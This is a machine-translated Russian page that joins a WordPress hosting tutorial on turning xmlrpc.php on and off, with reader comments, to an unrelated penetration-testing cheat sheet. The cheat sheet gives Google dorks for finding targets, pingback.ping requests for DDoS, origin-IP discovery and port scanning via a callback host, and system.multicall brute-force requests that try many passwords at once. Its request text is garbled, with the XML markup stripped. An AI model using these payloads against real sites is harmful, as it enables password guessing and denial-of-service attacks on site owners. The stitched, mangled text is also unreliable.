Как включить и отключить XMLRPC.PHP в WordPress и почему

XMLRPC — это система, которая позволяет удаленно обновлять WordPress из других приложений. Например, система Windows Live Writer способна публиковать блоги непосредственно в WordPress благодаря xmlrpc.php. Однако раньше он был отключен по умолчанию из-за проблем с кодированием.

По сути, xmlrpc.php мог открыть сайт для различных атак и других проблем. К счастью, разработчики этого кода уже давно ужесточили его структуру, и он по-прежнему широко используется.

В этом руководстве мы покажем вам, как включать и отключать xmlrpc .php и почему важно знать разницу.

Что такое XMLRPC.PHP и зачем он вам нужен ?

xmlrpc.php позволяет удаленно подключаться к WordPress. Без него различные инструменты и приложения для публикации просто не смогут получить доступ к сайту. Любые обновления или дополнения к веб-сайту должны быть сделаны при входе в систему непосредственно.

Хорошо

Отключив с помощью этой функции вы исключаете риск получения доступа к внешним атакам. Хотя участники этой платформы подтверждают, что программирование xmlrpc.php так же безопасно, как и остальные файлы ядра WordPress, некоторые могут чувствовать себя в большей безопасности, отключив эту возможность.

Это как иметь дом с только одна дверь. Добавление второй двери может быть более удобным, но при этом создается еще одна точка входа, которую необходимо заблокировать.

Плохие

Очевидным недостатком отказа от этой функции является то, что удаленный доступ к WordPress больше не будет возможен. Это удаляет часть функциональности и универсальности системы. Вместо автоматической публикации блогов из другого приложения через удаленный доступ, любой контент и другие изменения должны быть внесены путем входа непосредственно в WordPress.

Это может быть проблематичным для тех, кому нравится идея публикации контент прямо со своих мобильных устройств.

Как узнать, включен ли XMLRPC?

Иногда это вызывает путаницу. Помните, что по умолчанию XMLRPC уже включен. Он активен после завершения установки WordPress.

Поэтому, если вы используете какие-либо из следующих ресурсов, чтобы отключить его, просто измените настройки или сотрите код, чтобы снова включить его.

Реальность XMLRPC

По большей части xmlrpc.php действительно полезен только в том случае, если вы планируете использовать мобильные приложения или удаленные подключения для публикации контента на своем веб-сайте. Поскольку мобильное использование было настолько распространенным способом доступа в Интернет, многие люди будут использовать удаленные приложения, чтобы упростить разработку своих сайтов WordPress.

Это также одна из причин, по которой разработчики вкладывают так много усилия по устранению проблем с кодированием этой функции в прошлом.

Однако не всем понадобится эта возможность. Многие аспекты системы работают очень хорошо и просты в использовании на смартфонах или планшетах.. Это особенно верно, поскольку ядро ​​WordPress исключительно хорошо работает в мобильной среде.

Отключение XMLRPC через плагины

Хотя многие вещи можно сделать на уровне кодирования в WordPress, иногда проще использовать правильный плагин. Сегодня мы собираемся использовать Управление XML-RPC. Этот простой плагин выполняет работу по включению и отключению XMLRPC в любое время.

Чтобы использовать этот замечательный небольшой плагин, вам необходимо установить и активировать его со страницы плагинов на панели администратора WordPress.

После установки и активации плагина в левой части панели администратора WordPress появится новая функция под названием «Настройки XML-RPC. ” Щелкните эту ссылку, чтобы открыть плагин.

Установите флажок выберите «Отключить XML-RPC», если вы хотите удалить возможности удаленного доступа WordPress. В любой момент вы можете снять этот флажок, чтобы снова включить его.

После того, как ваш выбор сделан, нажмите кнопку «Сохранить изменения» в левом нижнем углу экрана.

ПРИМЕЧАНИЕ : Управление XML-RPC также есть возможность отключать пингбеки. Вы также можете установить определенные IP-адреса, чтобы включить или отключить эту функцию. Это может быть удобно, если вы хотите, чтобы служба работала для определенных приложений или пользователей в зависимости от их IP-адреса.

Этот плагин дает вам возможность включать или отключать xmlrpc.php для всего сайта или просто несколько IP-адресов. Это хорошая функция, особенно если вы хотите заблокировать доступ определенных пользователей к XMLRPC через WordPress.

Вот еще несколько плагинов, которые могут вас заинтересовать, которые также будут включать и отключать xmlrpc.php .

Отключить XML-RPC

Плагин Disable XML-RPC — это простой способ заблокировать удаленный доступ к WordPress. Это один из самых популярных плагинов, его установили более 60 000 раз. Этот плагин помог многим людям избежать атак типа «отказ в обслуживании» через XMLRPC.

Отключить XML-RPC Pingback

Плагин Disable XML-RPC Pingback

Обе эти опции определенно являются плагинами, которые стоит добавить на ваш сайт.

Использование файла .htaccess для отключения XMLRPC

Многие люди добились значительного успеха, используя файл .htaccess для отключения xmlrpc.php. Сам код относительно прост и может быть очень полезен, если вы не хотите беспокоиться о новых плагинах.

Чтобы использовать .htaccess для отключения функции xmlrpc.php в WordPress, вам нужно перейти в корневую папку вашего веб-сайта WordPress с помощью FTP или файлового менеджера в вашей учетной записи GreenGeeks, также может быть полезно, если он у вас есть.

Найдите и отредактируйте файл .htaccess. В некоторых версиях cPanel этот файл будет скрыт. Вам нужно будет настроить cPanel для просмотра скрытых файлов для доступа к .htaccess. Для этого нажмите «Настройки» в правом верхнем углу диспетчера файлов и установите флажок «Показать скрытые файлы». Нажмите «Сохранить», и вы увидите свой файл .htaccess.

Откройте файл .htaccess и добавьте следующий код:

# Блокировать запросы xmlrpc.php WordPress

запретить заказ, разрешить
запретить из всех
разрешить из 123.123.123.123

Теперь «Сохраните» файл. Это так просто. Теперь все удаленное использование XMLRPC.PHP будет запрещено.

Использование кода в плагине для конкретного сайта

Плагин для конкретного сайта может быть чрезвычайно полезен, если вы хотите для добавления функциональности вашему сайту без использования стороннего программного обеспечения. Это отличный способ добавить фрагменты, которые вы найдете в Интернете, для использования на своем сайте, не редактируя шаблон темы или файл functions.php.

В свой плагин для конкретного сайта вы можете просто добавить следующий код для отключения функции удаленного доступа:

 add_filter ('xmlrpc_enabled', '__return_false'); 

После сохранения подключаемый модуль для конкретного сайта запустит указанное выше код и отключите XMLRPC. Однако вам нужно будет удалить код, если вы захотите снова включить эту функцию.

Когда мне нужно будет включить XMLRPC на моем сайте?

Если вы используете или планируете использовать удаленную систему для публикации контента на своем сайте, вам потребуется включить эту функцию. В противном случае вы не сможете устанавливать удаленные подключения через систему. Если вы отключили эту функцию и обнаружили, что некоторые из ваших подключаемых модулей или других инструментов больше не работают, вам нужно будет повторно включить их, чтобы продолжить использование этих дополнений.

Не всем потребуется включать xmlrpc.php в WordPress для правильной работы. Фактически, многие из вас могут вообще никогда не использовать эту функцию. Если вас беспокоят дополнительные проблемы с безопасностью, в ваших интересах отключить эту функцию до тех пор, пока она вам не понадобится.

Какие инструменты вы отключили в WordPress? Какие плагины используются для кодирования на вашем веб-сайте?

Автор: Крис Расикот

Крис является менеджером по поддержке GreenGeeks и работает в компании с 2010 года. Он страстно увлечен играми, написанием сценариев и WordPress. Когда он не спит, он отрабатывает свои навыки игры на гитаре и возится с 3D-печатью.


Моя проблема в том, что я хочу иметь возможность убедиться, что XML-RPC включен, поскольку использование IFTTT требует, чтобы он включал использование wordpress в своей системе.. Есть ли плагин, который позволяет включать или выключать его?


Моя проблема, похоже, противоположная. Я пытаюсь подключить свой веб-сайт к Windows LiveWriter, и когда я пытаюсь войти в систему, он не может найти файл xmlrpc.php. Он говорит:

«Не удалось найти следующий адрес веб-сайта xmlrpc.php. Пожалуйста, проверьте URL-адрес и повторите попытку ».

Итак, я попытался найти этот файл в диспетчере файлов, но его не существует. Что мне сделать, чтобы это заработало?


Мне нужно включить его для IFTTT. Как это сделать? .Htaccess не ограничивает XML-RPC. Я установил Wordfence и Askismet. Отключают ли они XML-RPC?


XML RPC — это мусорный файл, который дает очень красивую панель инструментов для людей, взломавших тему, которую я ** купил **.
По сути, XML RPC — это удобная кушетка, которую вы даете своим хакерам взломать ваш домен. Какого черта WP поставил бы это на первое место? Существует множество безопасных бесплатных VPN-сервисов, таких как teamviewer или многие другие. Они настаивают на том, что изобрели что-то новое?

выбросить этот удобный диван из вашего сервера. Я надеюсь, что это прочитают столько же людей, сколько и многие люди.
erezT


Ребята, это может создать ошибку 503 (отказано) из файла xmlrpc.php:

https://wordpress.org/plugins/disable-xml-rpc-littlebizzy/

Может быть, это поможет кому-то другому


Привет,
У меня есть это правило в моем .htaccess для защиты xmlrpc.php.

# Это правило перенаправляет запросы/xmlrpc.php на localhost 😉
Redirect 301/xmlrpc.php http://127.0.0.1

Спасибо


erezT, несмотря на ваше догматичное и немного агрессивное мнение, никто бы не • Обычно RPC используется для целей типа «удаленный рабочий стол». RPC открывает возможность подключаться к WordPress API, например автоматически загружать медиафайлы через Zapier или IFTTT и т. д.

Давайте не будем выбрасывать ребенка вместе с водой в ванну только потому, что можно сосредоточиться на всех недостатках RPC.


Спасибо, Крис, за подробное объяснение.

Маттиас, ваше предложение о плагине littlebizzy, который выдает ошибки 503, также полезно. Я управляю почти 40 сайтами WordPress, поэтому ищу наиболее эффективный способ их реализации. Я использую ManageWP, поэтому могу централизованно установить и активировать плагин на всех сайтах одним запросом. Мне нравится, что этот плагин сразу начинает работать после активации и не требует ручной настройки.

Крис, вы спросили: «Какие инструменты вы отключили в WordPress?» У меня есть два крошечных плагина, которые я использую для временного отключения функций WP. Один скрывает ссылки редактирования сообщений, чтобы я мог просматривать страницу без беспорядка и без выхода из системы. Другой отключает блокировку записи редактирования, так что я могу провести сеанс обучения с удаленным клиентом, и мы оба можем просматривать экран редактирования. Я просто помещаю их в GitHub на случай, если они кому-то пригодятся: https://github.com/donnamcmaster/mcw-hide-edit-post-link и https://github.com/donnamcmaster/mcw-disable- редактировать-блокировать.

Вы можете вытащить код и поместить его в свой файл функций, но затем вам придется отредактировать файл, чтобы включить/выключить их. В качестве плагинов их легко включить, только когда они вам понадобятся. HTH.


XMLRPC делает сайты WordPress программируемыми. Возможность отправлять сообщения из сценария чрезвычайно полезна для управления сайтом. Идея о том, что каждый должен использовать интерактивный веб-интерфейс, в первую очередь странна. Доступность XML RPC — вот что делает WordPress стоящим.


Спасибо за обмен.
Есть идеи, можно ли подключить бесплатную учетную запись на WP.com через XMLRPC. ? Я пытался включить OnlyWire, но безуспешно. Программа предлагала изменить настройки, но нет настроек для XMLRPC через панель администратора


erezT, почему сосать абсолю? Почему вы так хотите отключить XML-RPC для НЕИЗМЕРНОГО улучшения безопасности? Зачем ограничивать возможность управления веб-сайтом WordPress только веб-браузером?

Работа с WordPress из мобильного браузера (и интерфейса с сенсорным экраном) болезненна. Опыт работы с приложением WordPress намного лучше.

Я думаю, что каждый должен самостоятельно оценить риск и принять решение. Подход «этого никогда не следует делать» несостоятельный.


Мне нужно проверить новый веб-сайт с помощью WordPress на сайте Gravatar, и когда я пытаюсь это проверить, я не могу к, это как-то связано с XML-RPC API.

Я тоже скачал плагин, но ничего не помогло.


Вы можете взглянуть к плагину REST XML-RPC Data Checker (https://wordpress.org/plugins/rest-xmlrpc-data-checker/): он позволяет расширенный контроль доступа к XML-RPC и REST API (включение также пользователем/IP /method или endopoint)

REST Api включен по умолчанию, и вы должны знать, что таким образом экземпляр WordPress потенциально может утечка данных (например, любой может легко скопировать ваше опубликованное содержимое изначально , получить список всех пользователей или другую информацию, которую вы не хотели бы публиковать).


в моем собственном блоге WordPress, единственным пользователем которого являюсь, Я просто перемещаю файл/usr/share/wordpress/xmlrpc.php, когда хочу отключить xmlrpc, и возвращаю его на место. для повторного включения. Например,

sudo mv/usr/share/wordpress/xmlrpc.php/root
sudo mv/root/xmlrpc.php/usr/share/wordpress

Пока он отключен, я не могу использовать приложение Android WordPress для просмотра комментариев, но это небольшая плата. Для крупных сайтов с большим количеством пользователей картина может быть более сложной.


Для записи, я делаю то же самое с wp-login.php, только возвращая его на место. когда я хочу войти на сайт. Опять же, подходит только для небольших сайтов с одним автором. Я задокументировал это здесь http://unixetc.co.uk/2015/02/10/speed-up-wordpress-by-renaming-wp-login-php/


Спасибо за обмен.


Получит ли моя учетная запись Google AdSense одобрение, если включен метод xmlrpc?



Использование xmlrpc. php во всех версиях WordPress

XML-RPC на WordPress — это фактически API, который позволяет разработчикам, создающим сторонние приложения и сервисы, взаимодействовать с вашим сайтом WordPress. XML-RPC API, который WordPress предоставляет несколько ключевых функций, включая:

  • Публикация сообщения
  • Редактирование сообщения
  • Удалить сообщение.
  • Загрузить новый файл (например, изображение для сообщения)
  • Получить список комментариев
  • Редактировать комментарии

Например, система Windows Live Writer способна публиковать блоги непосредственно в WordPress благодаря XML-RPC.

К сожалению, обычно При установке (без изменения настроек и/или конфигураций) WordPress интерфейс XML-RPC открывает два типа атак:

  • пингбеки XML-RPC
  • Атаки методом перебора через XML-RPC

Согласно документации WordPress (https:// codex.wordpress.org/XML-RPC_Support), функция XML-RPC включена по умолчанию, начиная с WordPress 3.5.

Обратите внимание, что в этом руководстве/шпаргалке домен «example.com» фактически является пример и может быть заменен вашей конкретной целью.

Дор ks для поиска потенциальных целей

Я хотел бы добавить, что любые незаконные действия принадлежат вам , и я не могу нести ответственность за ваши действия против уязвимой цели . Тестируйте только там, где вам это разрешено. Пойдите для публичных, известных наград за ошибки и заслужите ваше уважение в сообществе.

Как говорится, во время наград за ошибки или оценок тестирования на проникновение я должен был идентифицировать все уязвимые цели WordPress на всех поддоменах, следуя правилу *. example.com . В этом конкретном случае я полагался на придурки Google, чтобы быстро обнаружить все потенциальные цели:

  • inurl: "/xmlrpc.php? Rsd" + ограничения области действия
  • intitle: "WordPress" inurl: "readme.html" + ограничения области действия = общее обнаружение WordPress
  • allinurl: "wp-content/plugins/" + ограничения области действия = общее обнаружение WordPress

Поиск серверов XML-RPC на WordPress:

Шаги для проверки:

  1. Убедитесь, что вы нацеливаетесь на сайт WordPress.
  2. Убедитесь, что у вас есть доступ к xmlrpc.php файл. Обычно он находится по адресу https://example.com/xmlrpc.php и отвечает на запрос GET следующим образом: Сервер XML-RPC принимает только запросы POST.
  3. Было бы бессмысленно нацеливаться на сервер XML-RPC, который отключен/жестко закодирован/подделан/не работает. Поэтому мы проверим его работоспособность, отправив следующий запрос:

Post Request:

  POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 135  xml version = "1.0" encoding = "utf-8"?>   system. listMethods    

Нормальный ответ должен быть:

  HTTP/1.1 200 OK Дата: 1 июля 2019 г., понедельник, 17:13:30 GMTServer: ApacheStrict-Transport-Security: max-age = 63072000;  includeSubdomains;  preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 4272Content-Type: text/xml;  charset = UTF-8  xml version = "1.0" encoding = "UTF-8"?>         system.multicall строка>  system.listMethods  system.getCapabilities    demo.addTwoNumbers    demo.sayHello  pingback.extensions.getPingbacks     pingback.ping   mt.publishPost  mt.getTrackbackPings    mt.supportedTextFilters   mt.supportedMethods  mt.setPostCategories    mt.getPostCategories   mt.getRecentPostTitles  mt.getCategoryList    metaWeblog.getUsersBlogs  metaWeblog.deletePost   metaWeblog.newMediaObject  metaWeblog.getCategories    metaWeblog.getRecentPosts   metaWeblog.getPost  metaWeblog.editPost    metaWeblog.newPost   blogger.deletePost  blogger.editPost    blogger.newPost   blogger.getRecentPosts  blogger.getPost    blogger.getUserInfo    blogger.getUsersBlogs  wp.restoreRevision    wp. getRevisions   wp.getPostTypes  wp.getPostType    wp  .getPostFormats   wp.getMediaLibrary  wp.getMediaItem     wp.getCommentStatusList   wp.newComment  wp.editComment    wp.deleteComment   wp.getComments  wp.getComment    wp.setOptions   wp.getOptions  wp.getPageTemplates    wp.getPageStatusList  wp.getPostStatusList  wp.getCommentCount    wp.deleteFile   wp.uploadFile    wp.suggestCategories g>  wp.deleteCategory  wp.newCategory    wp.getTags строка>  wp.getCategories  wp.getAuthors    wp.getPageList    wp.editPage  wp.deletePage    wp.  newPage   wp.getPages  wp.getPage    wp  .editProfile   wp.getProfile  wp.getUsers     wp.getUser   wp.getTaxonomies  wp.getTaxonomy    wp.getTerms   wp.getTerm  wp.deleteTerm    wp.editTerm     wp. newTerm   wp.getPosts  wp.getPost    wp  .deletePost   wp.editPost  wp.newPost     wp.getUsersBlogs       

Обратите внимание, что в отсутствие ответа, представленного выше, довольно бессмысленно продолжать фактическое тестирование двух уязвимостей. Ответ может отличаться в зависимости от настроек и конфигураций установки WordPress.

  1. Если есть вывод для system.listMethods , то рекомендуется использовать хотя бы самый простой метод под названием

Request:

  POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 130  xml version = "1.0" encoding = "utf-  8 "?>   demo.sayHello    

Ответ :

  HTTP/1.1 200 OK Дата: 1 июля 2019 г., понедельник, 17:19:05 GMTServer: ApacheStrict-Transport-Security: макс.  -age = 63072000;  includeSubdomains;  preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 181Content-Type: text/xml;  charset = UTF-8  xml version = "1.0" encoding = "UTF-8"?>      Привет!    

XML-RPC pingback-атаки

В этом случае злоумышленник может использовать стандартный XML-RPC API для выполнения обратных вызовов для следующих целей:

  1. Распределенное отклонение -of-service (DDoS) атаки — злоумышленник выполняет метод pingback.ping из нескольких затронутых установок WordPress против одной незащищенной цели (уровень ботнета).
  2. Обход защиты Cloudflare — злоумышленник выполняет метод pingback.ping из единственной уязвимой установки WordPress, защищенной CloudFlare, до злоумышленника. -контролируемый общедоступный хост (например, VPS) для раскрытия общедоступного IP-адреса цели, таким образом обходя любую защиту уровня DNS.
  3. XSPA (Атака межсайтового порта) — злоумышленник может выполнить метод pingback.ping из одной затронутой установки WordPress на тот же хост (или другой внутренний/частный хост ) на разных портах. Открытый порт или внутренний хост можно определить, наблюдая за разницей во времени ответа и/или просмотрев ответ на запрос.

Ниже представлен простой пример запроса. используя предоставленный PostBin URL в качестве обратного вызова:

  POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 303    pingback.ping      https://postb.in/1562017983221  -4377199190203       https://example.com/      

Пример ответа:

  HTTP /1.1 200 OK Дата: пн, 01 июл 2019 21:53:56 GMTServer: ApacheStrict-Transport-Security: max-age = 63072000;  includeSubdomains;  preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 370Content-Type: text/xml;  charset = UTF-8  xml version = "1.0" encoding = "UTF-8"?>       faultCode    0      faultString       

Вывод PostBin:

Атаки грубой силы

Иногда единственный способ обойти ограничение или блокировку запросов с помощью грубой силы Атака на сайт WordPress заключается в использовании слишком забытого XML-RPC API .

Следующий запрос представляет собой наиболее распространенную атаку методом грубой силы:

  POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 235  xml version = "1.0" encoding = "UTF-8  "?>   wp.getUsersBlogs      { {ваше имя пользователя } }       { {ваш пароль } }     de> 

Вышеупомянутый запрос может быть отправлен в Burp Intruder (например) с разными наборами учетных данных. Обратите внимание, что даже если вы угадаете пароль или нет, код ответа всегда будет 200 . Я настоятельно рекомендую искать ошибки/сообщения в теле ответа.

Обеспокоены отправкой большого количества запросов против цели? — Не беспокойтесь. WordPress XML-RPC по умолчанию позволяет злоумышленнику выполнить один запрос и перебрать сотни паролей.

Для следующего запроса требуются разрешения для обеих систем . методы multicall и wp.getUsersBlogs :

  POST/xmlrpc.php HTTP /1.1Host: example.comContent-Length: 1560  Xml version = "1.0"?>   system.multicall           methodName    wp.getUsersBlogs      params           { {Ваше имя пользователя } }      { {  Ваш пароль } }             methodNamewp.getUsersBlogs  params           { {Ваше имя пользователя } }      {  {Ваш пароль } }                methodName    wp.getUsersBlogs      params           { {Ваше имя пользователя } }      { {Ваш пароль } }                methodNamewp.getUsersBlogsparams        { {Ваше имя пользователя } }      { {Ваш пароль } } строка>              

Ответ будет выглядеть так:

  HTTP/1. 1200 OK Дата: пн, 01 июл 2019 23:02:55 GMTServer: ApacheStrict-Transport-Security: max-age = 63072000;  includeSubdomains;  preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 1043Content-Type: text/xml;  charset = UTF-8  xml version = "1.0" encoding = "UTF-8"?>           faultCode    403    faultString  Неверное имя пользователя или пароль. строка>       faultCode403    faultString  Неверное имя пользователя или пароль.        faultCode403  faultString  Неверно  имя пользователя или пароль.        faultCode  403    faultString  Неверное имя пользователя или пароль.     значение>        

В приведенном выше примере я протестировал 4 разных набора учетных данных с помощью одного запроса. Вам просто нужно заменить {{Ваше имя пользователя}} и {{Ваш пароль}} своими собственными комбинациями.

Вот и все, прокомментируйте, если я что-то пропустил, и удачной охоты!

Другие ссылки:

  • https://www.wordfence.com/ блог/2015/10/should-you-disable-xml-rpc-on-wordpress/
  • https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php- общие-уязвимости-как-их-использовать-d8d3c8600b32
  • https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit/blob/master/wordpress-xmlrpc- brute-v2.py
Оцените статью
logicle.ru
Добавить комментарий